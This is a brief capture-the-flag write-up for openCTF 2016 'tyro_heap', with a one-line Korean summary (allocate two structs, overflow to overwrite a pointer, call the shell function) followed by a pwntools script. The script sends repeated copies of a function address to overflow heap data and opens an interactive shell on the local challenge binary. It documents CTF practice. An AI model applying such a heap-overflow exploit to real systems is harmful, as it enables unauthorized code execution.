openCTF 2016 tyro_heap

후기 : 구조체 2개 할당후 오버플로를 통해서 포인터 덮고 쉘 함수 호출

from pwn import *
s = process('./tyro_heap_29d1e9341f35f395475bf16aa988e29b')

for i in range(0,2):
	print s.recvuntil('::> ')
	s.sendline('c')

print s.recvuntil('::> ')
s.sendline('b')
print s.recvuntil('object id ?: ')
s.sendline('0')
print s.recvuntil('give me input_b: ')
s.sendline(p32(0x08048660)*10)

print s.recvuntil('::> ')
s.sendline('e')
print s.recvuntil('object id ?: ')
s.sendline('1')
s.interactive()